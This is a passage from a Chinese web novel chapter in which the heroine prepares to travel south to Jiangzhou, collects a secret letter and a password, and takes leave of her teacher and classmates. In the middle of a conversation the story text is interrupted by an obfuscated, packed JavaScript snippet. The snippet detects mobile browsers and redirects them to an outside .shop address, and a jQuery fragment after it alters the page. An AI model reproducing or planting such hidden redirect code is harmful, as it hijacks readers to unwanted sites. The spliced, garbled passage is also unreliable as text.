谢青梧仔细看着图舆,沉吟片刻:“先陆路到津门,再换船南下。陆路这段我骑马,快。到津门混进货船,走漕运,不容易查。” 云知意点头:“和我想的一样。”她从旁边拿起一封信,“这是给江州绸缎庄掌柜老何的密信,他是我的人。你到了江州,去城西永昌街第三家铺子,对上暗号‘林家旧缎可还有’,他答‘只剩一匹藏蓝色’,便是接上了。” 谢青梧接过信,收进怀里。 “还有这个。”云知意又推过来一个小布包,“里面有些碎银和铜钱,路上零用。另有一瓶药,治风寒外伤的。江州潮湿,你小心身子。” 谢青梧心里一暖:“云姑娘费心了。” “不必说这些。”云知意看着她,眼神复杂,“怀瑾,江州不比京城。王家在那里经营了几十年,官府、商会、甚至街头巷尾的混混,都可能和他们有牵扯。你一个外乡人,又是读书人打扮,太显眼。” “我明白。”谢青梧说,“我会小心。” 云知意沉默了一会儿,忽然问:“公主那边,你说了吗?” “说了。殿下给了令牌,准了假。” “那就好。”云知意似乎松了口气,“有公主在后面,至少京里有人替你看着。”她顿了顿,声音压得更低,“还有一件事。” 谢青梧抬眼。 “陆执那边,我探到点风声。”云知意说,“他派去江州的人还没回来,但锦衣卫的线报系统比我们快。你南下的事,他迟早会知道。” 谢青梧皱眉:“他会拦我?” “不好说。”云知意摇头,“陆执这个人,心思深。他若想拦你,早该动了。现在不动,要么是还没查到关键,要么……是另有打算。” 她看着谢青梧:“总之,你提防着些。锦衣卫的手段,你知道的。” 谢青梧点头。 从春风阁出来时,已是申时。天色有些阴,像是又要下雪。 谢青梧揣着图舆和密信,慢慢往国子监走。 严博士今日在值房。见她来了,放下手里的书:“怀瑾?有事?” 谢青梧行了一礼,把想好的说辞讲了一遍:老家有长辈病重,需回去探望,约莫一两个月,春闱前一定赶回来。 严博士听了,沉吟半晌。 “怀瑾,你秋闱刚中,正是潜心备考的时候。”他语重心长,“这时候离京,实在不是明智之举。春闱在即,多少学子闭门苦读,你这一走……” “学生知道。”谢青梧垂眼,“但长辈病重,为人晚辈,不能不孝。学生保证,路上也会温书,绝不荒废学业。” 严博士看了她好一会儿,终于叹了口气。 “罢了,你是个有主意的。”他从抽屉里拿出纸笔,写了准假条,“早去早回。功课我让李慕白他们替你记着,回来补上。” “谢先生。” 从严博士值房出来,谢青梧又去找了李慕白。 几个同窗正在斋舍里温书,见她来了,都围上来。 “怀瑾,听说你要回乡?”李慕白问。 谢青梧点头:“家里有些事,回去一趟。” “什么时候走?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948470|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “后天一早。” 几个同窗都露出不舍的神色。李慕白拍了拍她肩膀:“路上小心。春闱可等着你呢,咱们说好要一起考中的。” 谢青梧笑笑:“一定。” 又说了会儿话,天色渐渐暗了。谢青梧告辞出来,走到国子监门口时,回头看了一眼。 朱红大门,金字匾额,来来往往的学子穿着青衫,捧着书卷。 这样的日子,她其实很喜欢。 但有些事,比读书更重要。 回到住处,李婶已经做好了晚饭。谢青梧吃完饭,开始收拾行装。 图舆要贴身带着,密信藏进书箱夹层。云知意给的药瓶和银子分开放,一部分随身,一部分藏在行李里。萧玉衡给的令牌用布包好,塞进腰带内侧。 还有那本生母的诗集,也贴身带着。 收拾得差不多时,李婶端着热水进来。 “公子,真要走了?”她眼眶有些红。 谢青梧接过热水:“嗯。李婶,我不在的时候,你照顾好家里。若有人问起,就说我回老家探亲,别的不知道。” “我晓得。”李婶擦擦眼睛,“公子路上一定要小心,吃好睡好,别亏待自己。” “我知道。” 夜里,谢青梧躺在床上,脑子里把明天要做的事又过了一遍。 先去慈济堂,和女学的孩子们告个别,把后面一个月的课托付给严博士找的女夫子。再去当铺把一些用不着的旧物当了,换些现钱。最后回来检查行李,早些休息。 然后就是后天一早,离京。 她闭上眼,深吸一口气。 南下这条路,难走。 但再难,也得走。 窗外风声渐起,吹得窗纸簌簌响。 谢青梧翻了个身,慢慢睡着了。 梦里依稀是江州的模样,小桥流水,青石板路,还有模糊的、记不清面容的生母。 以及,暗处随时可能伸出来的手。